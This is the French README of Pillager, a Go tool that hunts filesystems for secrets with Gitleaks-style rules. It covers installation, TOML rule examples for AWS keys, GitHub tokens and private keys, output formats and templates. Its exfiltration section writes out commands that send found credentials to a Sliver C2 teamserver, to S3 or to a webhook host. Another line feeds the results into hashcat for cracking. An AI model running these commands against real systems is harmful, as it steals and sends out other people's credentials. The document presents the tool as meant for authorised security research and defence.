
Piller les systèmes de fichiers pour des informations sensibles avec Go 🔍
Pillez les systèmes de fichiers pour trouver des informations sensibles avec Go.
Pillager est conçu pour offrir un moyen simple d'exploiter le puissant modèle de concurrence de Go afin de rechercher récursivement des informations sensibles dans les fichiers d'un répertoire. Pillager y parvient en s'appuyant sur . Une fois que Pillager trouve des fichiers correspondant au motif spécifié, le fichier est scanné à l'aide d'une série de travailleurs simultanés qui prennent chacun une ligne du fichier dans la file d'attente des tâches et recherchent des correspondances de motifs sensibles. Les filtres de motifs disponibles peuvent être définis dans un fichier ou vous pouvez utiliser l'ensemble de règles par défaut.
pillager.tomlSi vous avez Go installé sur votre système, vous pouvez installer Pillager avec go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Si vous cherchez un binaire, consultez les dernières versions pour l'exécutable correspondant à votre système.
Pour voir toutes les commandes disponibles avec pillager
# Pour voir les instructions pour l'ensemble de l'application
pillager
# Depuis n'importe quelle sous-commande
pillager [cmd] --help
Pillager fournit une interface utilisateur en terminal construite avec bubbletea si vous souhaitez scanner les secrets de manière interactive.
Envoyez les secrets découverts vers des destinations distantes : Sliver C2 (stockage de butin/credentials), S3/MinIO (stockage cloud) ou Webhooks (points de terminaison HTTP personnalisés).
# Sliver C2 - Envoyer au teamserver avec analyse des credentials
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Téléversement avec chiffrement
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST vers un point de terminaison personnalisé
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Sécurité : Chiffrement AES-256-GCM (--exfil-encrypt), TLS par défaut, métadonnées automatiques (nom d'hôte, horodatage)
Pillager offre un support complet des règles Gitleaks1. Celles-ci peuvent être passées dans une section rules2 de votre fichier pillager.toml, ou vous pouvez utiliser l'ensemble de règles par défaut en laissant le champ de configuration vide.
# pillager.toml
# Configuration de base
verbose = false
redact = false
# Règles pour la détection de secrets
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configuration de la liste blanche
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager dispose d'une série de formats de sortie intégrés disponibles. Choisissez votre préféré !
pillager hunt .
pillager hunt ./example -f json | jq
La sortie JSON est conçue pour fonctionner parfaitement avec l'excellente utilitaire jq pour un parsing facile.
# Utilisez pillager pour générer une wordlist délimitée par des sauts de ligne à partir des résultats
pillager hunt . -f wordlist
# Utilisez pillager pour ajouter une wordlist, puis utilisez votre mode d'attaque hashcat préféré
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager vous permet d'utiliser les puissantes fonctions de go text/template et sprig pour personnaliser le format de sortie. Voici quelques exemples de templates.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
Plus d'exemples de templates se trouvent dans le répertoire templates.
La documentation GoDoc est disponible sur pkg.go.dev pour pillager.
Pour contribuer au développement de fonctionnalités et de correctifs pour Pillager, commencez par les étapes suivantes :
Qu'est-ce que Cobra ?
Cobra est une bibliothèque qui fournit une interface simple pour créer des interfaces CLI modernes et puissantes similaires à celles de git et des outils Go. Cobra est également une application qui générera l'échafaudage de votre application pour développer rapidement une application basée sur Cobra.
Si vous avez déjà vu une CLI écrite en Go, il y a de fortes chances qu'elle ait été construite avec Cobra. Je ne peux pas recommander cette bibliothèque assez. Elle permet aux développeurs de créer des outils en ligne de commande cohérents, dynamiques et auto-documentés avec facilité. Quelques exemples incluent kubectl, hugo, et la CLI gh de Github.
Qu'est-ce que Gitleaks ?
Gitleaks1 est un outil SAST pour détecter les secrets codés en dur comme les mots de passe, les clés API et les jetons dans les dépôts git.
Gitleaks est un outil incroyable pour la prévention des fuites de secrets. Si vous n'avez pas encore implémenté Gitleaks comme vérificateur de pré-commit, cela vaut la peine de le découvrir.
Pourquoi Gitleaks est-il pertinent pour Pillager ?
Pillager implémente la puissante fonctionnalité de règles de Gitleaks tout en adoptant une approche différente pour présenter et gérer les secrets trouvés. Bien que j'aie fourni un ensemble de règles par défaut de base, Pillager devient beaucoup plus puissant si vous permettez aux utilisateurs de créer leurs propres règles pour leurs cas d'usage.
Consultez les règles incluses2 pour un ensemble de règles de base.
Cela va sans dire, mais je vais quand même le dire : je ne suis pas responsable des conséquences de votre utilisation de Pillager. Cet outil est destiné à un usage défensif, éducatif et à un usage par les chercheurs en sécurité avec le consentement de toutes les parties concernées. Tout comportement malveillant avec Pillager n'est en aucun cas cautionné ni encouragé. Veuillez utiliser cet outil de manière responsable et assurez-vous d'avoir l'autorisation de scanner les systèmes à la recherche de secrets avant de le faire.
Dans son essence, Pillager est conçu pour vous aider à déterminer si un système est affecté par des sources courantes de fuite de credentials, telles que documentées par le framework MITRE ATT&CK3.
Technique MITRE ATT&CK - T1552,003 - Credentials non sécurisés : Historique Bash
Technique MITRE ATT&CK - T1552,001 - Credentials non sécurisés : Credentials dans les fichiers